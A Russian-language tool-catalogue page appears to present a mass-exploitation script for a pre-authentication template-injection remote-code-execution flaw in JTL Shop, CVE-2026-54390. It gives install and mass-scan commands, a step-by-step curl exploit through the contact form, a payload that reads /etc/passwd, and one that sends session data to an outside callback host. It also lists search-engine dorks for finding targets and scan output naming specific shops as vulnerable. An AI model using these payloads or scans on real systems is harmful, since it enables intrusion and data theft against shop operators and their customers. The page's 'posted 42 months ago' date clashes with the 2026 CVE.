Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-54390 — CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Предварительная аутентификация через инъекцию шаблона fetch('string:' . ) | 5.2.0-5.7.1 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-54390
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubshinthink/cve-2026-54390

CVE-2026-54390

CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Предварительная аутентификация через инъекцию шаблона fetch('string:' . ) | 5.2.0-5.7.1

Репозиторий
42 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-54390 — JTL Shop Smarty SSTI Массовый эксплойт

Pre-Auth Контактная форма → Тема письма → fetch('string:') → RCE


Обзор

CVE-2026-54390 — критическая (CVSS 9.8) неавторизованная инъекция шаблонов на стороне сервера в JTL Shop 5.2.0–5.7.1.

Метод SmartyRenderer::renderTemplate() передает строки темы письма в $smarty->fetch('string:' . $subject), обрабатывая их как шаблоны Smarty. Поля контактной формы пользователя попадают в тему письма через разрешение #var# в parseSubject(), а затем повторно обрабатываются fetch().

Text::filterXSS() удаляет только HTML-теги — { и } проходят. Зарегистрированные модификаторы Smarty включают file_get_contents и unserialize.

Затронутые версии

JTL ShopСтатус
< 5.2.0Не затронут
5.2.0 – 5.3.xУязвим (кража учетных данных)
5.4.0 – 5.7.1Уязвим (полный RCE)
5.5.4 / 5.6.2 / 5.7.2+Исправлено

Механизм уязвимости

Коренная причина

root@kitploit:~
// includes/src/Mail/Renderer/SmartyRenderer.php line 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                     Тема письма обрабатывается как шаблон Smarty

Цепочка атаки

root@kitploit:~
1. Пользователь заполняет контактную форму → имя/email/сообщение → filterXSS()
2. filterXSS удаляет только HTML — {system()} проходит
3. Шаблон темы письма: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() разрешает #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → ВЫПОЛНЯЕТСЯ
6. Отправлено письмо с темой: "Neue Anfrage von uid=33(www-data)..."

Зарегистрированные модификаторы Smarty

root@kitploit:~
// PluginCollection.php — доступны для RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

Установка

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

Использование

root@kitploit:~
# Один целевой хост
python cve_2026_54390.py -t target.com

# Массовое сканирование
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# SSTI-проба через контактную форму
python cve_2026_54390.py -t target.com --exploit --debug

Аргументы

root@kitploit:~
  -t, --target      Один целевой хост (домен или IP)
  -f, --file        Список целей, по одной на строку
  -o, --output      Сохранить уязвимые цели
  --threads         Количество потоков (по умолчанию: 20)
  --exploit         Отправить SSTI-пробу через контактную форму
  --debug           Показывать каждый HTTP-запрос
  -v, --verbose     Подробный вывод

Доказательство концепции

Обнаружение

root@kitploit:~
$ python cve_2026_54390.py -t jtl-shop.de --debug
root@kitploit:~
  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] contact form: /Kontakt | subjects:5

  Host       : jtl-shop.de
  JTL Shop   : YES v5.7.0
  Contact    : YES
  Form path  : /Kontakt
  Subjects   : 5 available

Массовое сканирование

root@kitploit:~
  [!] business.trustedshops.ch   1.6s  v5.5.2  form:/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  form:/Kontakt
  [100/5600] 1%  |  JTL:23  Vuln:12

Ручной эксплойт

Шаг 1 — Найти контактную форму + токен

root@kitploit:~
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

Шаг 2 — Отправить SSTI-пробу

root@kitploit:~
curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

Шаг 3 — Чтение файлов

root@kitploit:~
{{"/etc/passwd"|file_get_contents}}

Шаг 4 — Внешняя эксфильтрация (OOB)

root@kitploit:~
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA / Shodan

root@kitploit:~
FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"

Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ. Авторы не несут ответственности за неправомерное использование.


Ссылки


Не связано с JTL-Software или Sansec.

Скачать инструмент
Ресурс
Ссылка
Исследование Sansecsansec.io/research/jtl-shop-ssti-rce
Консультация IONIXionix.io/threat-center/cve-2026-54390
Форум JTLforum.jtl-software.de
NVDCVE-2026-54390